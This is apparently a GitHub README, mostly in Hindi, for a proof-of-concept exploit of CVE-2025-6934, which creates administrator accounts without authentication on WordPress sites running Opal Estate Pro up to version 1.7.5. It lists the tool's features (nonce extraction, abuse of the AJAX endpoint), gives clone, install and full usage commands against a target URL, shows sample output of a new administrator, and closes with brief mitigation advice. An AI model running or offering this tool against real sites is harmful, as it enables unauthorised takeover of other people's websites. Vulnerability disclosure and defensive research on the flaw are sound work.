CVE-2025-6934 – WordPress Opal Estate Pro का शोषण

📖 विवरण
इस रिपॉजिटरी में CVE-2025-6934 के लिए Proof of Concept (PoC) exploit शामिल है,
जो WordPress प्लगइन: Opal Estate Pro <= 1.7.5 में एक गंभीर भेद्यता है, जो बिना प्रमाणीकरण के व्यवस्थापक खाता बनाने की अनुमति देती है।

⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
लेखक दुरुपयोग या हुए नुकसान के लिए जिम्मेदार नहीं है।

🚀 विशेषताएँ

• readme.txt से प्लगइन संस्करण का स्वचालित पता लगाना
• पंजीकरण के लिए nonce निकालना
• कमजोर AJAX endpoint का शोषण करना
• नया व्यवस्थापक खाता बनाना

🔧 स्थापना

रिपॉजिटरी क्लोन करें और निर्भरताएँ इंस्टॉल करें:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ उपयोग

अपने लक्ष्य के साथ स्क्रिप्ट चलाएँ:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ उदाहरण आउटपुट:

[✔] Eksploitasi Berhasil!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 स्क्रीनशॉट

शोषण का स्क्रीनशॉट

🛡️ शमन

• प्लगइन को नवीनतम संस्करण में अपडेट करें
• या कमजोर प्लगइन को तुरंत अक्षम करें
• अनधिकृत खाता निर्माण के लिए WordPress लॉग की निगरानी करें

👤 लेखक

Cyberlone Indonesia (Cyberlone)

📜 लाइसेंस

यह प्रोजेक्ट MIT License के तहत लाइसेंस प्राप्त है – विवरण के लिए LICENSE देखें।